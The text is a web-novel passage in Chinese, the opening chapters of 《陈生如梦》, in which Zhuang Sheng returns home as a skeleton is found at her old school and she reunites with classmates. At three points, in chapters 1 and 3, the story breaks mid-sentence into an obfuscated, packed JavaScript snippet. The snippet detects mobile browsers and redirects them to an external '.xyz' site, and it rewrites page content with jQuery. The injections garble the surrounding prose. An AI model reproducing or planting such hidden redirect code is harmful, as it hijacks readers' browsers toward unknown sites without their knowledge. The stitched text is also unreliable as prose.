《陈生如梦》 1. 归途 庄笙从火车站出来时,临城的大雨已悄然到来。 这座西南小城的夏天总是如此,厚重云层偶尔才漏下直烈的阳光,大部分时候蒸腾的水汽加剧闷热。人像极了一块被泡在高压锅里的肉,软烂时绷着一张熟透的皮。 即便是下雨,摩托车司机们仍未撤退,守在出站口虎视眈眈地盯着过往行人。某种不外传的识人本领让他们一眼就能辨认出潜在客户身上那股初来乍到的怯生。 庄笙甚至不用辨认。她不仅有找不到路的迷茫,还有一个看起来比本人还重的行李箱。 “美女,去哪里?”有人点着打火机,抬抬下巴。 庄笙回头看了一眼,还没来得及成为“猎物”,就被突然窜出来的杨洁梅一把夺过行李。 杨洁梅看起来想抱她,但抬起的手最后只是拉住了她的小臂。 “妈,我来就行。”庄笙抓住行李杆。其实她和杨洁梅差不多高,但杨洁梅微微驼背,骨架子也比女儿小,因此看着比庄笙还瘦弱不少。 杨洁梅撑开伞,带着她往停车场走,嘴里絮絮叨叨的:“都说了让你坐飞机,我去机场接你,再不行打个车。你搬得动箱子吗,你说你,这不是现在他们讲的……对,没苦硬吃!” “妈,榕市机场过来也要两个小时。”庄笙推着行李箱,她需要走慢一些才能让杨洁梅跟上自己。 庄笙很多年没有回过家了。在这些年间,临城变化很大。那些拔地而起的高楼,宽大笔直的公路,都和记忆中那个小城截然不同。 临城坐落在D省的省会榕市北面,随着榕市的不断扩张,城市的边界也在逐渐模糊。比如榕市北郊新区的建设直接带动了临城的基础设施发展。 杨洁梅踩下油门,朝坐在副驾的庄笙笑道:“咱们现在相当于榕市的卫星城,说不定哪天划到市区,也变成榕市人了。就你原来学校那地儿,并到临城一中之后,就刚好划到榕市新区边上,现在扩招得不得了。早知道当时就买房了。” 庄笙如实道:“当时你也没钱买房。” “倒也是。”杨洁梅搭在方向盘上的手指敲了一下,不知想起了什么。她右手小臂留有一片凸起的疤痕,经年累月也不见消散。 “对了,你还记得温嘉吗?”见庄笙沉默,杨洁梅提示道,“就是你李阿姨的小孩,你俩还当过小学同学。” 杨洁梅故弄玄虚的语气唤起了庄笙心底没由来的不耐烦,但她很快压制住,调整好语气:“当然记得,我们高中也是同学。” “噢我都忘记了。对嘛,那你知道她马上要结婚了?你不是刚好回来休息俩月,顺便给人包个红包去。” 庄笙注视着窗外陌生的道路,声音平淡:“这样啊,我很久没联系过她了。再说吧。” 轿车一路驶入本地一处普通小区。庄笙认出来这是她上次回家时和杨洁梅一起看的房子。房龄和庄笙差不多大,好在位置便利,邻里融洽。 “还住得习惯吗?”庄笙把行李箱推入狭小的电梯。 杨洁梅让她往离挤点:“都多少年了,还能不习惯。” 过去七年间,杨洁梅经常去外地看望庄笙,可她连过年都觉得冷清,又嫌地铁过于拥挤嘈杂,再国际化的大都市哪儿能有临城待得舒服。 只有在临城,她才知道哪儿有新鲜的荠菜可以来包饺子,上哪儿买性价比最高的鲈鱼,电梯坏了应该找谁。 一直到进屋,杨洁梅还在讲述自己是如何与物业拉扯,解决了那台工作不够卖力的老电梯。 她让庄笙自己收拾东西,随意打开电视放点声音,转身进了厨房。她一早就准备好了所有庄笙爱吃的东西,像过往每一年一样。 庄笙在原地站了一会儿,才慢悠悠地蹲下身。行李箱拉链打开的一瞬间,一枚老旧的平安符落了出来。细长的红绳换过几次,总是容易松。 她捏着平安符,包里的手机忽然振动了一声。她掏出手机放在桌角,甚至没有瞥一眼。 十几条未读消息突然堆积在屏幕上,还在持续增加。 庄笙慢吞吞地收拾箱子,小心拎出包裹完好的几枚香薰。中途被杨洁梅看见了:“你上回说要给我带的什么马来玫瑰香呢,就是这个?多的我再给你李阿姨拿一个,上回你寄来的我也分了她,她说好用着呢。她女儿温嘉也说好。真是,不知道的还以为你卖香薰的呢。” 庄笙把两盒精致包装的香薰递给她,算是完满交差:“这话也没错,但这是大马士革玫瑰。” 她回过头,那一枚平安符搁置在香薰包上。暗红色的旧布上还勾着歪歪扭扭的金线,写着“平安喜乐”。 她静静地盯着那四个字,照进瞳孔的光线变得沉寂暗淡。 这时,电视台插入了一则本地要闻,冷静的女声打断了她的思绪: “据本台记者报道,临城某中学奉宁路校区于今日早上九点五十分发现一具骸骨。具体情况还在调查中。据目前信息,某中学老校区正利用暑假进行改建升级,相关工程已立刻停止,有关部门已经介入。如有知情人士,可联系拨打xxx-110或市长热线。” 庄笙凝视着电视屏幕,画面中建筑物再模糊她也能一眼认出。在镜头切到学校一片树林远景时,她的手指不经意地捏紧。 几乎是同时,桌角的手机又开始振动。 【上好嘉:庄笙,听说你回来了?】 【上好嘉:你现在有空吗,我有事想和你说】 【上好嘉:放心,不是收红包】 【上好嘉:很急,很急】 过了一分钟,振动声变得持续。 来电人:温嘉。 - 某软件推送热帖《惊天大瓜,临城某中学出大事了!》。 【momo(发帖人):说是填湖挖出了一具女.尸,有没有人知道到底怎么了?】 【迪迦公主:不用欲盖弥彰了[捂嘴笑]不就是临城一中嘛,家长群都爆.炸了】 【小雨鲨鲨鲨:[笑哭][笑哭]鬼故事照进现实,谁懂啊】 【再吃一块炸鸡就一块:不不不,听说是很久以前死的。我读书的时候就传说学校用地以前是乱葬岗,地价便宜,这下有作证了】 【贪吃鬼公子:怎么,评论区似乎有内幕消息啊,警方验尸没你眼睛快】 【白樱:静候校友们的内幕消息,请私我】 【后悔莫及:这么多校友?ps.别说什么老校区了,十几年前临中还是私校呢,和今天的临城一中根本不是一回事】 …… 与此同时,“高2010级5班友谊长存”群爆出数条讨论。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691136|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羊嘟嘟:[转发]惊天号外,简直和当年编的清凉故事如出一辙,老实说你是不是知道点什么?@潇潇雨下】 【潇潇雨下:别冤枉我,太可怕了,以这种方式重新见到母校我很可惜】 【疯子:你有言灵吗庞潇?】 【潇潇雨下:不不不,我分明记得,那个鬼故事开头还是庄笙讲的】 【羊嘟嘟:她好像不在群里……】 【沉默是金:@上好嘉,你一直在临城,消息比我们灵通,没点内幕透露透露?】 【沉默是金:温嘉怎么不回了】 【疯子:开玩笑,人忙着办婚礼,谁有空理你】 …… 晚上七点半,温嘉在红灯时点开手机屏幕,群未读消息200+。她把手机调成静音,呆呆地盯了一会儿,连绿灯亮了都没反应过来。几个急促的鸣笛才促使她手忙脚乱地往对面跑。 咖啡店的自动门一开,温嘉身上的热汗瞬间蒸发,取而代之的是冰凉的手脚。她站在门口往内瞧,这个点的客人不多,但没一个能和记忆中的那张脸对上。 视线逡巡的过程中,焦躁在慢慢积累。直到怀疑的目光定格在落地窗边。 正在低头工作的人抬起脸,与温嘉四目相对。后者在得到一个微笑的肯定后,才终于敢认。 “庄笙!”温嘉尖声道。她脸上挂着久别重逢的喜悦,但流露出更多惊讶。 庄笙站起身,与她交换了一个轻轻的拥抱。 温嘉的眼睛一直盯着她,来来回回,忍不住道:“几年不见,你真是……漂亮得都认不出来了。瞧这大波浪,形状烫得真好看。……眼镜也不戴了吗?天呐,和你以前完全不一样。” 庄笙弯起眼睛,微微笑道:“你还是这么会夸人。” 温嘉感受到熟稔的语气,也才跟着扬起嘴角:“哎抱歉啊,害你等这么久。我家里在商量婚礼用花的种类,我和我妈各执一词,吵得不可开交,简直头疼死了。从没想过办个婚礼这么麻烦,你可能不知道……噢对了,你结婚了吗?” 庄笙说:“没呢。” “也是,没听我妈说起过。” 温嘉与她寒暄起来,絮絮叨叨地抱怨着婚礼繁琐的安排,如何令人不堪重负——好像这是天大的事一样。 庄笙望着她身后落地窗外的车流闪烁,走神之际被温嘉突然沉寂的声音叫回。 温嘉方才挂着的笑容早已消失,剩下疲惫不堪的神情。她的声音透着强烈的不安,却似乎因不知如何开口而迟疑:“你……看到新闻了吗?” “嗯。”庄笙点了头。 温嘉迟缓地说:“当年的事情,我其实也记不清了。” 轮到庄笙疑惑:“什么事?” 温嘉摇摇头,呼吸变得急促,压在心头的恐惧难以隐秘,反而随着冷气逐渐扩散,使得她的五官都异常僵硬。 “我看见她了。”温嘉盯着庄笙面前的杯子,语气急促,像憋了很久的字眼鼓足勇气往外冒。 庄笙的眼皮忽地一跳。她从前经常见到温嘉一惊一乍的情形,早已不稀奇,但还是第一回见到她的恐惧。 那是一种无比真实的害怕,毛骨悚然,冷汗淋漓,无从躲藏。 再次响起的呓语像避之不及的诅咒。 “她来找我了。” 2. 重逢 室内一片寂静,咖啡的香气和沉静的音乐都仿佛只停留在庄笙的那一边。 而坐在对面沙发的温嘉感受不到丝毫温暖,如同置身于冰窟,双手捂住脸,肩膀微微发颤。 温嘉听上去几乎要哭出声,呢喃着重复了两遍“她来找我了”。 “……谁?”庄笙迟疑地开口。 听到她的声音,温嘉仿佛获得了某种安慰剂,激动的情绪稍稍缓和,慢慢抬起那张苍白的脸。 “她……”温嘉深深吸气,报出了一个名字,“徐晓梦。” 紧接着,她朝庄笙挤出一个惨白的笑容:“你不记得了吗?她高一的时候长得特别瘦,头发很黑很长。后来去了文科班,我和她同班来着。” 见庄笙似乎在努力回忆,温嘉冷静了一些之后也意识到自己的失态,补充道:“抱歉,我……我只是确实找不到人说这件事。尤其是看到学校的新闻之后,我实在害怕。” 庄笙露出安抚的目光:“没关系。” 根据温嘉的说法,她是半年前开始突然梦见徐晓梦的。 “她穿着校服,就站在阳台上冷冷地盯着我,也不肯跟我说话。她……她以前不都低着头吗,哪里这样看过人。我当时就被吓醒了,结果回头往阳台一看,她就站在那里!我真的看见她了,她就是来找我的。” 温嘉的表述有些混乱。但无论如何,自那天之后,她每个月都会梦见好几次这位名叫“徐晓梦”的高中同学。这个月开始,她“见到”得更频繁了。 不止在阳台,有时候也在她家的厕所,或者就站在床边看着她和她未婚夫。 温嘉的手捧着热茶,滚烫的温度反而加剧了她的颤抖:“庄笙,我不是瞎说的,我没疯。” 她说的很真诚,生怕庄笙不相信自己:“我专门去看了医生,做了各种检查,连脑部ct都做了,他们说我的确没病。但是我总觉得哪里不对,我按时锻炼、早起早睡,事情也根本没有变好。我为此还专门去请了塔罗师。不好意思,你应该不信这个吧?” 话到最后,温嘉挤出勉强的笑容,试探性地看向庄笙。 那一瞬间让庄笙联想到网络上最近流行的卖货帖——通常用一个离奇狗血的故事引出产品的那种。 这个念头让场面既严肃又滑稽,十分诡异。 庄笙努力把思绪拉回来:“说说看?” 温嘉想了想才开口:“是榕市的一个塔罗师,她……她说的很准,我是从去年开始就不太顺的,总有些磕磕绊绊。她说,是因为有人跟着我。我也感觉到了,和以前咱们在宿舍讲鬼故事不一样,我是真的知道她存在。塔罗师说,她没有要伤害我,只是想跟着我。” 庄笙忍不住皱眉,反思温嘉因为婚礼到底受到了多大压力:“温嘉,这些话毫无依据,本质上是一种心理暗示,你还是不要再想了。” “你还是这么直接,”温嘉深深地叹气,“我怎么可能不想呢。我……我害怕。” “你怕什么?” 温嘉的神情露出一丝慌张,但更多的是恐惧:“……她都死了十二年啦,为什么还是不肯放过我?” 温嘉一时激动,引起周围侧目。意识到之后,她很快压下声调,痛苦的表情渐渐变得麻木。这时手机响了两声,似乎是她未婚夫打来的。 温嘉随便应了几句,挂断后拎起精致的皮包,朝庄笙摇摇头,好像刚才的一切都没发生过:“你不明白,庄笙。算了,我就是想找个人说一说。看见你之后,我感觉好多了。对了,下周有同学会,麦吉——咱班长组织的,一起聚一下。” 庄笙还没反应过来,温嘉又说:“你来吗?你来吧,好久没见了。” “我考虑一下。”庄笙点点头。 温嘉走出咖啡店之后停在街口等车,顺便点开“高2010级5班友谊长存群”。 【上好嘉:同学会定好位置了吗?我今天见到庄笙啦,她也来】 【麦麦脆汁:真嘟假嘟?笙姐?】 【潇潇雨下:什么,多年不见,学霸在干嘛?】 【沉默是金:笙姐!欸,那陈屿来吗】 【疯子:八卦.jpg】 【麦麦脆汁:布吉岛。他俩都不在群里呢亲亲,我会努力通知到的。谁有陈屿联系方式发我,or直接拉群里】 【上好嘉:班长请不要再这么恶心心了。我先问一下庄笙】 【沉默是金:9494,先问一下,万一她不想和陈屿一个群呢】 【疯子:几个意思?我磕的cp是真的?】 【麦麦脆汁:请不要在群里聊八卦,当人脸开大不礼貌吼。我们还是来商量一下同学会的地点吧,我提议先桌游再吃饭最后去唱k,就学校附近就行】 【潇潇雨下:有一点点想去学校看看】 【疯子:让冯姐去想办法,冯姐肯定有路子 @Silver】 …… 临城的夏夜仍然闷热,气温丝毫没有好转。 庄笙独自经过街巷,一切热闹都熟悉而陌生。她在这里长大成人,临城的那一部分属于这里的还融在她的血液中,永远不会改变。但她却不再完完全全地属于临城了。 她说不上来这样是好还是不好。杨洁梅要是知道了会说她“忘本”,要不就是“搞不懂你们这些年轻人”。 事实上按社会时钟来说,庄笙刚过完三十岁生日,不再算是年轻了。 杨洁梅打电话来的时候,庄笙正在小吃街等烧烤。杨洁梅一听果然开始嘀咕:“都是小时候不让你吃,现在报复性吃回来?行吧行吧,你别吃太多啊,大晚上的。” 末了,杨洁梅的话兜兜转转,又变成了问询:“你要经过小吃街后面那条路吗?” 庄笙知道她肯定有事要托付,只是不知道从什么时候开始,母女之间竟也如此客气,要用“麻烦你了”之类的词语。 庄笙应了,她会经过那条路,去杨洁梅指定的“东哥洗衣店”取干洗的衣物。 烧烤的孜然香让难耐的夏夜好受了许多。庄笙让店家打包好,拎在手里轻飘飘的,总感觉应该再多点几串。 她的心情随之变得轻巧了许多。 东哥洗衣店很显眼,这条街拐角处漆黑一片,只有他家灯光明亮。门口的牌子还专门写着营业至0点。 庄笙推开门,挂在把手的铃铛随之晃动。柜台没有人,小店内一眼看去是层层叠叠挂起的衣物。 庄笙等了一会儿,见始终没有人来才转身又拨弄了两下铃铛。 终于有了回应。 “取衣服吗?”年轻温厚的男声随着脚步传来,还能听见被放下的耳机中持续不断的游戏音乐。 “手机号报一……庄笙?” 庄笙原本侧身站在门口观察铃铛,突然听到熟悉的声音,猛地抬起头。 穿着工字背心的男人站在走廊昏暗的光线下,偏深的肤色勾出肌肉轮廓。头发有些长了,乱得像个鸟窝。那张变化很大的面孔此时写满惊愕,比黑眼圈更显眼。 庄笙的第一个念头是,他竟然还能认出她。 第二个念头是,她也一眼认出了他。 “陈屿?”她的声线平和,露出恰到好处的惊讶,像与一位老朋友重逢——她不止一次想过这样的场面。虽然在她的设想里,那一定不是在此时,不是在这里。 庄笙展露大方的笑容,如平日稀松平常的寒暄:“好久不见啊。” 陈屿盯着庄笙,似乎不知道该用怎样的反应才合适:“嗯,很久了。” 两个人同时开口,“你”、“我”,又同时停下了。 庄笙突然不知道该说什么,好像语言系统在这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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恰好又有客人来取衣服,庄笙没再说什么——她也不知道该说什么,她只想赶紧离开这里。可能她的确还想再跟陈屿多说几句,但她想不出来了。 久别重逢竟太过轻易。 她简单与陈屿道别,后者也没有挽留。临走前,她按下把手,发现几枚铃铛之间还挂着一枚老旧暗淡的平安符。 回到临城的第一个夜晚,庄笙没有睡好觉。 她翻来覆去,迟迟无法入睡。好不容易熬到迷糊,半夜又忽然惊醒,一身冷汗。 她打开手机,屏幕弹出无数条信息。 高2010级5班友谊长存群。 【上好嘉撤回了一条消息】 【上好嘉撤回了一条消息】 【上好嘉撤回了一条消息】 【上好嘉:任务完成!】 【麦麦脆汁:一群夜猫子~~欢迎@庄】 【潇潇雨下:欢迎欢迎,这么巧,我正在看以前的照片。好嫩啊我的天。】 【羊嘟嘟:心有灵犀,发给大家回忆一下】 一连串的照片视频被不同的id发在了群里。那一张张青涩的脸庞让无聊的校服都充满了生动的气息。 庄笙原本不想点开,但那些鲜活灵动的脸庞催生了复杂的感情。她点开第一张,然后不断往下滑。 直到最后一张时,她的目光忽然停顿。虽然发出图片的人很快点了撤回,但庄笙还是看见了。 那应该是一张抓拍,地点是体育场看台的背面。 穿着短袖校服的少年侧身蹲下,正在帮女孩穿鞋。他露出半张清秀好看的脸庞,肤色白皙透明,神情专注,动作温柔。很难想象这样的动作出现在一向自尊心很高的少年身上。 与今夜的陈屿相去甚远。 站在阴影中的少女有着乌黑的长发,像只受到惊吓的兔子,一动也不敢动。即便如此,也能瞧见她身上动人的轻盈。 庄笙盯着照片中的少女,耳边回响起温嘉在咖啡店说的话:“你不记得了吗?” 怎么可能不记得。 ——徐晓梦。 3. 降临 临城仍然被大雨笼罩,整整七天都未停歇。直到同学会当天才忽然从暴风雨变成淅沥细丝。 庄笙收起雨伞,KTV的气温瞬间让她陷入凉爽镇静,也同时隔绝了雨声。 四四方方的机器人领路时不怎么聪明,恰巧有人推开包间门探出头,猛地朝庄笙招手。他似乎还在喊什么,但被音乐声压得一干二净。 庄笙走近时顿下脚步,试图从那张脸上找出几分线索——对方也只咧开嘴笑,等着她猜。 “——麦吉?”庄笙作出惊讶的模样。眼前已近中年的男人穿着一身西装,衬衣被肚子上的赘肉撑圆了。那张脸和高中时期一样毫无记忆点,但也没有变化,似乎只是等比例放大了不少。 除了眼睛。 麦吉“嘿嘿”一笑,小眼睛眯成两道短而细的缝:“庄笙!我就知道是你。刚看照片我都差点认不出来!” 庄笙疑惑道:“什么照片?” 麦吉抵着包间门,给她让出位置:“温嘉刚给我们看的,让我们猜是谁。结果只有我猜中了哈哈。” 包房内正在唱歌的人握着话筒惊呼一声,顿时让所有目光来到庄笙身上。对方走上前来,是个染了一头红发的女生,脸和身材都十分丰润,但能明显看出锻炼的痕迹。 “我是谁?” 话筒递到庄笙嘴边。 “庞潇。”庄笙答道。 “对喽,请坐——”庞潇兴奋地眨眨眼,继续唱歌,还不忘将她引到沙发边。 庄笙坐在沙发角落,暗淡的光线下环顾一周,与周围人打招呼。前来同学会的人还挺多,不完全是他们高一班上的,还有不少同年级的人。庄笙记性比较好,一大半都还能叫出名字。 即便如此,一顿寒暄下来有些头晕目眩,幸好温嘉替她回忆了不少。 “你可能都不记得了,原来赵选老喜欢抄你作业,对了,她字模仿得特别好。以前咱们家庭作业老找她签字。她看着一点都没老,还是那么天生丽质,班花就是班花呀。还有那个谁,脾气不好的那个,卓诗兰,诶他们怎么不见了?”温嘉左右环顾,嘴上仍旧喋喋不休。 庄笙正和赵选礼貌地打招呼。赵选有一头繁如海藻的长发,温柔地垂在胸前。她的五官漂亮精致,颇有几分攻击性,却因为这一席长发而柔和了不少。 庄笙和她原本就称不上熟悉,一时之间只能找些琐碎话题。她得知赵选正在榕市一家垄断企业做会计,生活安稳美满,十分滋润。 “你倒是漂泊很久了,现在怎么样?”赵选朝庄笙露出善意的笑容。 “还可以,”庄笙答道,“就是比较累。这不,刚失业,回来逃避一阵子。” 温嘉亲昵地搭上庄笙的肩膀,一股若有若无的玫瑰香气袭来。她插话道:“才不是呢,我妈说庄笙在做香料生意。我那天都忘记问你了,是不是真的呀?别是回来谈合作伙伴的。” 庄笙笑了笑:“算是吧。差点忘了,我还带了几个样品,给你们试试。” 她从包里翻出来几只乳白色的香薰。温嘉和赵选挨个试闻,温嘉很快找到了玫瑰气味的:“这是我妈用的那个吧?” “对,大马士革玫瑰,最近很流行。”庄笙答道。 赵选也拿过一只玫瑰的细细嗅闻:“好香啊,我好喜欢这个味道。这地方都不晓得还存在不呢。” 庄笙顺水推舟地送给她。道过谢后,赵选捂着嘴笑,递了杯饮料给她:“你呀就是离开太久了。家是避风港嘛。我就觉得临城也挺好,一晃不也这么多年,开心就好。” 二人正说着,又有三个人推门进来了。左边的女人身型格外矮小,肤色偏深,皮肤不太好。胜在烫了一头短卷毛,穿着十分有设计感,正“咯咯”地笑个不停。庄笙认出了她,冯银子。 走在中间的女人是卓诗兰,她比冯高出一头,眼睛很圆很大,瞪开时显得与某位以甜美出名的女明星有几分相似。而正与二人说笑的男人双手插兜,纯色蓝衬衣,花短裤,踩着大拖鞋,从头到脚全是奢牌logo,额头压眼显凶,看上去像只不好惹的猴子。这是郁迟。 他们和赵选从学生时代起就是形影不离的小团体。文理分科后,其他人都在文科班,唯独冯银子选了理科,和庄笙一直同班到高三。 此时庄笙坐在滑动的灯光下,看见他们三人迎面而来。卓诗兰是第一个认出她的,立马露出甜美而不好惹的笑容,随后是郁迟:“哎呦,这不是咱班的学霸吗?真罕见啊。” 庄笙微微一笑,只简单地打了招呼。 包房中挤得透不过气,温嘉深吸一口气,朝庄笙耳边说:“你带的香薰真好闻,救了命了。” 见庄笙在音乐巨响中听不清,温嘉大声说:“这里太臭了,你有没有香膏什么的呀?要是没有的话,等会儿我要把点香薰点起来。” 庄笙还是听不清,只能糊弄地点头。很快,困倦涌了上来。她小眯了一会儿才醒,音乐声已经慢慢变成了轻音乐。音量被调小了,人们都在聊天。 庄笙身上搭了一件针织衫。见她醒了,赵选朝她抬抬下巴,露出好看的弧线:“不冷吧?” 庄笙摇摇头,道谢后把衣服还给她。周围有人在讨论临城的天气。 “都下了好几天大暴雨了,难怪武平不来同学会,多半是抗洪去了。” 随后,是温嘉的声音:“他还真辛苦。临城哪一年不发洪水,每年都是这个时间点。” “你还别说,今年的降雨量格外大,今早才看到预警呢。” 郁迟说:“可别把咱们临城给淹了。” “只有你郁总在乎,我巴不得多放几天假,”赵选抱着手,“咱们接下来什么安排,去哪里吃饭?” 郁迟看了眼麦吉,后者赶忙回答:“六点半,财神饭店。但这还早着呢,要不咱们去学校转一圈?” 话到这里,不少人脸色一变,都相继想起了前几天的新闻。郁迟靠着桌边,百无聊赖地把玩着打火机,视线微妙地经过卓诗兰。卓诗兰当即反对:“这种奇怪的时候我才不要去。郁迟你看什么看,再看把你眼珠子挖出来。” 郁迟露出无所谓的神情:“我是没关系,就当探险咯。” 麦吉托着下巴,好奇心在此刻占据了上风:“你们都不感兴趣吗,到底什么案子啊到现在也没个说法,这不平白影响学校声誉嘛。” 卓诗兰翻了个白眼:“学校的围栏撤没撤都不知道,有什么好看的。” 庞潇率先对麦吉的提议表示赞同:“我觉得可以去。倒不是为了猎奇,就是想借着今天怀念一下逝去的青春~冯姐,你有路子不?你外公不是在校董会吗?” 一直没说话的冯银子从手机屏幕上抬起目光,沉思片刻后答道:“我们可以从后门绕进去,那边在整修,有一片废墟现在没人管。” “这样好吗?”温嘉嘀咕道,见其他人突然变得兴致勃勃,转念又道,“这是不是太刺激了。诶庄笙,你得一起去。” 她话音未落地,手先抓住庄笙的胳膊不放:“你就不想去学校看一看吗,过了这么多年,你还认得出教室在哪里吗?走嘛走嘛。” 庄笙对此表示迟疑,但实在拗不过她。实话讲,她们俩人虽然从小认识,但并未深交,不适合这样的举动。但温嘉偶尔来上这么一两次撒娇,保管让庄笙一瞬间感到受宠若惊。 临城一中就在KTV附近五公里处。根据冯银子的提议,大家最好是分批进去,省的被人注意到。 他们要去的一共十多人,就站在路边打车,冯银子已经提前把规划好的路线发进了群里。 在等车的时候,庄笙听见大家在闲聊。这些老同学基本都在榕市有一份体面的工作,或是在临城本地有个不错的生意,半数已结婚生子,各个容光焕发。 庄笙感到自己是唯一的异类。她既无法谈论家庭和孩子,也不能融入他们交换的商业信息。她看上去毫无危害,同时也毫无价值。 偶有羡慕她在更大的城市工作的,也会顺便谈起他们年级混得最好的那两三个人。他们在华尔街打工,湾区创业,各个有名有姓,谈论者无不心生向往。但那些表面的羡慕只是浮于表面,然后话题又会回到本地,如何平稳得体地度过这一生才是重要的。 庄笙感觉自己被两个极端反复拉扯,却也从中产生好奇。她像一片漂浮的羽毛,在这些等车时的谈论中逐渐落地。但落入嘈杂人群的羽毛也还是异类。 除非另一片羽毛降临。 陈屿是在这个时候出现的。 他今天穿了一件简单的白t,显得人干净利落。但始终不够挺拔。他经过街角的时候就像一棵年轻却正在凋零的树,轮廓仍然好看,却一派沉沉死气。 他被麦吉冲上去一把拖了过来,上一秒还在犯困,下一秒就站在了人群边缘。他似乎略显尴尬,对谁都只是淡淡地点头,也不多说话。 麦吉激动地拍陈屿的肩:“真是好久没见着了。要不是我拼命加你微信,你都不理咱们。给你发那么多消息你都不回,还以为你不来了。学霸,你在哪里高就啊这么忙?” 陈屿平静地回答:“失业了,忙着找工作。” “噢,那……那也正常,现在嘛,很多人都失业。”麦吉飞快地调整语气。 陈屿拿出一叠传单,抽了一张给麦吉:“有空可以来店里。” 麦吉瞧了瞧陈屿洗得发白的牛仔裤,把那张印有“东哥洗衣店”的传单折起来塞进自己的西装兜里。 陈屿看上去平和极了,半点没有“混的差”的窘迫自觉。他稍稍一垂眼,麦吉条件反射地接过他手上其他传单,散给了周围人。 等做完了这一切,麦吉自己也有些迷茫。 庄笙盯着陈屿,这下她不再是唯一的异类了。 几分钟后,她和温嘉、庞潇上了同一辆车,陈屿也加入了她们。他坐在前座打瞌睡,一路上都没怎么说话。 温嘉和庞潇一开始悄悄打量了他两次,而后旁若无人地聊起了温嘉的婚礼。温嘉再次讲到令人头疼的繁琐细节,低头时嗅闻到自己衣袖上的的烟酒气味,是刚才在ktv里染上的。 很快,车停在了约定的地点。 正如冯银子所说,学校侧门正在改建,是一片堆砌的废墟。因为案件而停工,看管的人只有两个。先到的冯银子和麦吉已经打点过了,不仅没阻拦庄笙他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691138|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还给指了路。 顺着小路绕过土堆,庞潇兴奋地在前面领路。毕业后她回过学校好几次,基本能指出每一处变化。花坛的位置,布告栏的式样,操场的改建……诸如此类,如数家珍。 但建筑群大体和当年一样,连红白配色都没有改变。 温嘉拿出香薰,用毛巾裹紧,转头问陈屿:“诶,有火吗?” 陈屿顿了顿:“你确定?” “是有点抽象,这不没办法嘛。”温嘉等他点着后,双手捧着香薰,让气味顺着风往自己身上飘,又小心翼翼不碰着火。她开始嘀嘀咕咕:“真是的,早上出门居然忘带香水了,烦死了,肯定是那头蠢猪又翻我包了。等等,陈屿,你抽烟?” 温嘉的声调突然向上扬起,回荡在树荫下:“真看不出来啊,你以前那么乖。” 庄笙回头看向陈屿。 他耸耸肩,咳嗽了一声,将打火机揣进兜里。 “快看,咱们以前那片湖都要填起来啦!”庞潇指给他们看。但通往人工湖的岔路被蓝色的高大板子彻底挡了起来,还牵了一圈线,只能从缝隙看个大概。石块堆积在周围,似乎中间有个坑洞。 “该不会——”庞潇突然表情惊悚,倒吸一口冷气,脚下一软。她正踩在井盖边缘,突然整个人歪了一下。 庄笙立刻扶了她一把。这时,他们才发现井盖是开着的。 “太过分了吧!”庞潇怒骂道,立刻拍照记下要回去投诉。 刚巧麦吉从学校主楼出来,立刻压低声音,指了指岔路:“那边就是出事的地方!” “什么?”庞潇歪过头,“人工湖那儿?” 麦吉点点头:“哎,要不是下雨早就恢复施工了。现在就这么摆着,真是……” 庄笙侧过头,发现陈屿站在那儿没动,视线一直盯着那个方向。他突然侧过头,撞上庄笙的视线。反而是庄笙先收回目光。 与此同时,温嘉捧着香薰,催促道:“我们快进去吧。” “怎么,害怕了?”麦吉走到她身旁,伸出健壮的胳膊。 温嘉嘀咕道:“早知道让我老公一起来了。” 麦吉收回手臂,自然地看了眼手机:“也是,先都进去吧。郁迟他们说找到了以前的教室,嘿嘿。” 踏上台阶后,庄笙抬头看见了中庭上方的挂钟。秒针仍在走动,正如十多年前那样。 他们当年高一的教室在丙区三楼。5班是唯一在三楼最东侧拐角处的,和其他班都有一段距离。 先到的几个人正站在走廊上聊天。赵选抱着手,正和卓诗兰说笑。冯银子在一旁打电话。郁迟则在手机屏幕上百无聊赖地左右划动。 “怎么说?”郁迟抬起头。他的眼睛细长,皮肤凹凸不平,整个人透着一股不耐烦。 “还能怎么说,”麦吉指了指,“窗户开着呢。” “那只有拜托你了哦。”冯银子眼巴巴地望着郁迟。 “窗台太脏了。”郁迟拖着声音,怎么说也不肯动,似笑非笑地往旁边瞥了一眼。 最后是陈屿翻进去打开了教室门。 雨是从这个时候又开始下的。 温嘉将香薰放在讲台上,瞧着下方的桌椅板凳,忽然感慨道:“现在小孩子条件也一般呐,一个教室坐这么多人不嫌挤得慌。” 庞潇拉开窗帘,让光线落进来:“怎么,不想让你小孩以后读你的母校?” “哎呦,那可考不上了。现在人家临城一中招生要求多高呀,又不是咱们那个时候花钱就能解决。”温嘉“咯咯”地笑起来。 庞潇稍稍偏过头,看了眼卓诗兰,继续若无其事地攀谈起来。麦吉很快加入她们俩,相谈甚欢。 另一边,卓诗兰正捏着嗓子讲她最近的烹饪。她朋友圈发的全是精心烤制的面包甜品。冯银子用方言和她探讨技巧,又说到自己近来的投资项目,不时调侃一下郁迟。赵选则在旁边沉浸式刷手机,一刻都没抬头。 